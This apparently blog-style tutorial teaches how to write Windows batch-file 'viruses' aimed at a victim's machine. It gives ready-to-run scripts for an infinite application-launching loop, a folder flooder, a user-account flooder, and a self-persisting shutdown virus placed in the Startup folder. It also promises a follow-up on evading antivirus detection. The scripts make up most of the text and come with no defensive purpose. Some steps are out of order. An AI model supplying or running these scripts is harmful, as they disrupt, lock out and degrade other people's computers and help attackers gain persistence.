We are improving our service

Batch File-Art of creating virus

What Are Batch File ?

Lets Begin With A Simple Example,Open your cmd And change your current directory to-

'Desktop' By Typing 'cd desktop' Without Quotes.
Now Type These Command One By One
2-cd x //Changes Current Directory to 'x'
3-md y //Makes A Directory 'y' in Directory 'x'
We First Make A Folder/Directory 'x', Then Enter In Folder 'x' Then Make A Folder 'y' In Folder 'x'




1-md x //makes directory 'x' on desktop


Lets Do The Same Thing In An Other Way...

md x
cd x
md y

Copy These Three Command In Notepad And Save File As "Anything.bat" Without Quotes.
Now Just Double Click On This File and a Console Windows will be appears, Now Go to Desktop
You will see a folder on your desktop and folder 'y' in it. This means the three commands executed line by line when we ran the batch file.
So a batch file is simply a text containing series of commands which are executed automatically
line by line when the batch file is run.

What can batch viruses do ?
They can be used to delete the windows files,format data,steal information,irritate victim, consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more

purposes.
Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat

1. Application Bomber

@echo off //It instructs to hide the commands when batch files is executed
:x //loop variable or label
start winword
start mspaint
 //open paint
start notepad
start cmd
 //open command prompt
start explorer
start control
start calc
 // open calculator
goto x // infinite loop 

This code when executed will start open different applications like paint,notepad,command prompt, irritating victim and of course affecting performance.

2. Folder flooder

@echo off
:x
md %random% // makes directory/folder.
goto x
Here %random% is a variable that would generate a positive no. randomly. So this code would make start
creating folders whose name can be any random number.

3.User account flooder

@echo off
:x
net user %random% /add //create user account
goto x
This code would start creating windows user accounts whose names could be any random numbers.

3.Shutdown Virus

copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup” or

copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup”
//these two commands will copy the batch file in start up folders (in XP)

shutdown -s -t 00 //this will shutdown the computer in 0 seconds

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of

code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is


C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Every time the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the
batch file from Start Up folder.

For More Keep Visiting ..... I'll Update Soon "How To Make Batch File Undetected From Antivirus".